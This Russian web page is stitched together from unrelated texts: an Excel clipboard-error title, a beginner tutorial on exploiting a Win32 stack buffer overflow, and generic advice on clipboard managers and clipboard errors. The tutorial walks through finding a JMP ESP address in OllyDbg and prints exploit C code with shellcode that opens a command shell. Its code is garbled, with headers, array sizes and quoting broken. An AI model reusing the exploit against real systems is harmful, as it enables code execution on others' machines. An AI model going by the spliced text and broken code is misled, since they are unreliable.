Ошибка при чтении из буфера обмена. Исправление ошибки очистки буфера обмена Excel

Посмотрев на название, я думаю вы скажите, что это очередная повторяющаяся статья
на тему переполнения буфера в системах win32. Да это действительно так:). Но в
данном материале я бы хотел рассказать все в подробностях. Т.е. описать основную
технику, работу с отладчиками в поисках адресов, также напишем кое-какие примеры
уязвимых программ и эксплоитов для них. В качестве отладчика я буду использовать
всеми известный и замечательный отладчик под названием OLLYDBG версии 1.10. Скачать его можно:
http://home.t-online.de/home/Ollydbg/ . Скажу, что данный материал
рассчитан на новичков.

Ошибка переполнения буфера стала известна еще где-то в ~1980 годах. Вообще, данная
ошибка считается одной из самых распространенных уязвимостей на данный момент.
Количество эксплоитов, написанных на основе этой ошибки перевалило уже за несколько тысяч. Ошибка эта довольно проста. Заключается в невнимательности программиста,
пишущего программу. Например, программист не уследил за длинной буфера, а далее
пользователь или злоумышленник попытается ввести данные, которые выйдут за пределы определенного программистом буфера. И потом программа просто рухнет. Думаю, вы
знаете, что существуют несколько видов эксплуатирующих программ. Один из таких
видов - банальный DoS. Посылается определенной длины
строка, при которой эксплуатируемая программа
уходит в "даун". В данной статье я покажу метод,
при котором эксплуатируемая программа не вылетит, а лишь сделает то, что нам нужно. Теперь хотелось бы вам показать пример уязвимой программы.

code (vuln.c)

#include
#include

int main(int argc, char *argv) {

char buf;
strcpy(buf, argv);

Выше приведенный пример программы типичен,
т.к. в нем используется уязвимая функция strcpy(). Она копирует строку без предварительной проверки на длину. Есть альтернатива данной функции, которая считается безопасной к переполнениям - это
strncpy(). У нее должно быть 3 аргумента.

strncpy(char *__dest, char *__src, u_int __maxlen).

Первый аргумент это строка, в которую будет осуществляться копирование, второй - это
строка из которой будет осуществляться копирование, а третий - это длина строки первого аргумента. Ниже показан пример защищенной программы.

code (sec.c)

#include
#include

int main(int argc, char *argv)
{
char buf;
strncpy(buf, argv, sizeof(buf));
}

При этом хочу сказать, что использование функции strncpy() замедляет выполнение программы, т.к. забивает буфер полностью. Поэтому перед тем, как использовать менее
защищенную функцию strcpy(), нужно делать проверку на фиксацию длины передаваемого
буфера.

Вернемся к нашей уязвимой программе vuln.c. Откомпилируйте это программу с использованием какого-либо компилятора. Будь то Visual C++ или Borland C++, значения не имеет. Откомпилировали? Ну и хорошо. Теперь в командной строке запустите готовый бинарник. И попробуйте в первый аргумент ввести слишком большое значение. Более 100 байт.
И что вы видите? В моей системе вылезло окошко о том, что программа вызвала ошибку
переполнения и будет закрыта. При этом имеются кнопки "Отладка", "Отправить отчет",
"Не отправлять". При нажатии кнопки "Отладка", система откроет отладчик по
умолчанию. При нажатии на кнопку "Отправить отчет", система попытается отправить отчет
об ошибке в корпорацию Microsoft. При нажатии на кнопку "Не отправлять", система
закроет уязвимое приложение. Так же имеется ссылочка для просмотра данных с надписью "щелкните здесь". Далее вы можете посмотреть отчет об ошибке. В отчете содержится полезная информация о стеке программы. О ее регистрах, адресах и т.д.
Согласитесь, что представленный отчет довольно неудобен и неразборчив. Поэтому я
предлагаю воспользоваться специализированные отладчики. Выше было упомянуто, что
в качестве отладчика мы будем использовать Ollydbg. На мой взгляд это один из самых
лучших отладочных средств для аудита программ. А почему не SoftICE? - спросите вы,
да потому, что версия портированная для WinNT довольно глючно проработана, да и
для того, чтобы разобраться с этим мощным средством потребуется немало времени и
сил:). Поэтому будем использовать Ollydbg (для него на данный момент есть спец плагины типа дизассемблера и других полезных фишек). На данный момент на сайте доступна финальная версия продукта - 1.10.

Итак, давайте приступим к работе с отладчиком. Запустите его.
Загрузите уязвимую программу в отладчик. Для загрузки выполните следующие действия:

File->Open-> PathToExeFile

Загрузили? Хорошо, теперь выполните:

Debug->Arguments-> PutSomeBytesToOverFlowBuffer

Введите длинный аргумент. Я ввел 20 символов "A". Теперь нажмите "ОК", отладчик попросит перезагрузить программу. Для этого нажмите кнопку "Restart" или комбинацию клавиш Ctrl+F2. Так-с, программа перезапущена. Теперь смело жмите на кнопку
"Run" или клавишу F9. В нижней строке должна появиться надпись вида "Access Violation when
execution (41414141)", это говорит о том, что уязвимая программа попыталась прочесть
адрес 0x41414141. 41 = hex("A"). То есть это способствует последним 4-м символам в
hex формате, введенным в первом аргументе уязвимой программы. Чувствуете чем это пахнет? Допустим, что при определенном раскладе мы заменяем адрес возврата и подменяем
его на то, чтобы он прочитал наш определенный код, который будет выполнять определенные действия. За начальный адрес возврата можно взять значение регистра
$ESP. Его можно считать за адрес, расположенный вверху стека, по которому будет расположен код.
Поэтому для тщательного анализа точный адрес будем искать в dll,
опираясь на значение регистра $ESP.

Идем далее. Вообще адрес, по которому будет располагаться наш заветный "злоумышленный
код" чаще всего следует искать в подгружаемых библиотеках (DLL). На этот случай нам
пригодится тот же замечательный отладчик Ollydbg. В нем есть функция просмотра всех
подгружаемых библиотек.

Для того, чтобы просмотреть DLLs сделайте следующее:
нажмите комбинацию Alt+F3 и вам высветится список библиотек. Многие начинают искать
комбинацию "JMP ESP" в стандартной ядровой библиотеке системы win32 - kernel32.dll.
Но в моем случае адрес располагался в библиотеке ntdll.dll. Поэтому давайте начнем
поиск с этой библиотеке. В списке библиотек дважды нажмите на это библиотеку. Вам
откроется стандартное окно отладчика, в котором располагаются все необходимые вещи.
Слева дизасм библиотеки. Переведите курсор туда и нажмите комбинацию клавиш
Ctrl+F. Эта комбинация означает то, что вы собираетесь искать какую-либо команду. В строке
введите значение "JMP ESP". Отладчик перекинет вас на эту команду. Теперь обратите
ваше внимание на левый бок дизасма. В нем располагаются адреса функций. Перепишите
или запомните адрес этой функции. Этот адрес в дальнейшем нам понадобится для размещения нашего "зловредного кода" 🙂

Итак, думаю настало время для написания нашего эксплоита. Вкратце поясню его работу. Эксплоит будет заполнять буфер нашим кодом, а далее посылать уязвимой программе в первый аргумент. Думаю, из комментариев будет все ясно.

Code (exp.c)

#include // связь с внешним миром }:>
#include // операции со строками
#include // для
системных вызовов

char shellcode =
"\x33\xf6\xB9\xAA\xAA\x6C\x6C"
"\xC1\xE9\x10\x51\x68\x72\x74"
"\x2E\x64\x68\x6D\x73\x76\x63"
"\x54\xB9\xD8\x05\xE8\x77\xff"
"\xd1\xb9\xaa\xaa\x65\x6d\xc1"
"\xe9\x10\x51\x68\x73\x79\x73"
"\x74\x54\x50\x8B\xF8\xB9\xFD" // наш зловредный код
"\xA5\xE7\x77\xff\xd1\xb9\xaa"
"\x63\x6d\x64\xC1\xE9\x08\x51"
"\x54\xff\xd0\x56\x68\x65\x78"
"\x69\x74\x54\x57\xb9\xfd\xa5"
"\xe7\x77\xff\xd1\x56"\xff\xd0";

int main(int argc, char* argv)
{
char buf; // буфер для посылки
char exec;

memset(buf,0x00,sizeof(buf)); // обнуляем буфер
memset(buf,0x90,190-strlen(shellcode)); //
заполняем мусором
memcpy(buf+strlen(buf), &shellcode, strlen(shellcode)); //
вставляем код
// наш адрес в который ляжет код
*(long *)&buf = 0x77F5801c; //
buf = строка при которой программа падает
// т.е. при 103 уязвимая прога не падает.
sprintf(exec,"vu1n.exe %s",buf); //
заполняем для отправки
system(exec); // выполняем системный вызов.

return 0; // выходим 🙂
}

Теперь откомпилируйте пример и запустите.

C:\>sc exp.c -o exp.exe
Done!
C:\>exp.exe

Microsoft Windows XP [Версия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.

Как видно, наш эксплуататор работает исправно:). Замечу то, что данный пример
был написан под системой Windows XP Pro. Поэтому адреса, по которым ляжет код
могут различаться от моих.

На этом спешу отклониться. И пожелать вам дальнейших успехов в вашем нелегком
пути. Если возникнут какие-либо вопросы, то не стесняйтесь:
.

Буфер обмена – замечательный инструмент, который позволяет обмениваться информацией между совершенно различными приложениями. Мои ученики осваивают его даже без моих пояснений — как же без него писать рефераты? Своим пенсионерам я рассказываю о том, как им пользоваться, на втором занятии. Нет нужды, конечно же, рассказывать здесь, как пользоваться буфером промежуточного обмена. Слова copy-past стали уже нарицательными.

Но у буфера Windows есть один недостаток – в буфере обмена может находиться только один объект. Если вы копируете новый объект, то старый, разумеется, удаляется.

Решение этой проблемы предложили в XP/2003 – была специальная панель, в которой накапливались объекты которые вы копировали в буфер обмена. И потом из этой панели можно было выбрать нужные объекты и вставить их в документ.

Возможно, Вас заинтересует также информация по следующим ключевым словам, которую обычно ищут на моем сайте
.

Буфер обмена - некоторая область памяти компьютерной операционной системы, которая отведена для хранения временной информации.

Вы наверняка не раз что-то перемещали или копировали на своем компьютере (папки, текст, картинки, другие файлы). Думали ли вы о том, куда помещаются файлы после совершения действия перемещения/копирования? Правильно, они загружаются в буфер обмена. Он запоминает информацию, которую вы скопировали, и отдает ее при нажатии команды «Вставить».

Некоторые приложения имеют собственный буфер, доступный только в рамках данной программы.

Недостатки буфера обмена

Главным отрицательным моментом является то, что он способен хранить лишь один блок информации. Значит, после копирования очередных данных старые заменятся новыми.

Но возможна ситуация, когда в одном текстовом документе вам потребуется скопировать двадцать фрагментов в другой документ. В данном случае вам придется двадцать раз совершать одни и те же действия.

Будет, несомненно, удобнее, если сначала скопировать все нужные фрагменты в буфер, а потом один раз использовать их в новом документе.

По умолчанию эта функция не может выполнять такие действия. Для реализации данной задачи используются специально разработанные приложения, также называемые менеджерами буфера обмена.

Существует множество утилит, позволяющих восстановить данные из буфера. Например, такое приложение как Ditto Clipboard Manager. Оно русскоязычное и бесплатное. Программа дает возможность восстановить информацию из буфера обмена. Отображается она в системном трее операционной системы.

Весь текст и графику, записанную в буфер обмена, утилита фиксирует в журнале. Отрывков таких может быть немало. При необходимости каждый из них можно добавить в документ, выбирая его из списка. Утилита имеет большой выбор других настроек, с которыми без труда справится даже новичок.

Подобная программа окажет вам неоценимую помощь, если вы часто используете буфер обмена.

Другие утилиты:

  • Clipomatic - программа очень удобна для работы с буфером, но запоминает только текстовые фрагменты.
  • CLCL - простая, имеющая много полезных функций утилита. Позволяет сохранять устанавливать плагины, настраивать фильтр запоминания информации.
  • ClipX - приложение, очень похоже на CLCL.
  • Clipboard Keeper - хорошая бесплатная программа.

Где найти буфер обмена Windows?

Если вы хотите увидеть содержание своего буфера обмена, то вы можете это сделать, открыв файл под названием clipbrd.exe. Он находится в системной директории C:/WINDOWS, а затем в system32. Этот файл доступен для просмотра (его нельзя удалять) только владельцам Windows XP. В «семерке» и «Висте» он заменен на файл clip.exe, просмотреть содержимое которого не представляется возможным.

Очистка буфера обмена (кроме Windows XP)

Чтобы удалить содержимое в операционных системах Windows 7 и Vista, следуйте данной инструкции:

Создайте файл-ярлык. Для этого нужно единожды нажать на пустом пространстве рабочего стола правой кнопкой мыши, выделить пункт «Создать», затем «Ярлык».

В появившемся окошке в поле, где должен размещаться путь к объекту, введите команду, очищающую буфер: cmd /c echo off | clip.

Придумайте ярлыку имя и нажмите «ОК».

В результате на рабочем столе вашего персонального компьютера появится ярлык темного цвета. При необходимости очистки буфера обмена дважды кликните по нему.

Ошибки буфера обмена

Работая с MS Office, вы можете столкнуться с довольно часто встречающейся ошибкой. При осуществлении копирования/вставки появляется окошко с надписью «Ошибка очистки буфера обмена». Причиной этого может послужить установка на вашем компьютере приложения Punto Switcher, осуществляющего переключение раскладки клавиатуры между двумя языками в автоматическом режиме. Выход из данной программы не гарантирует исчезновения ошибки, но попробовать все равно стоит.

Такая проблема также может возникать из-за приложения В настройках программы нужно отключить функцию «Отслеживать URL в буфере».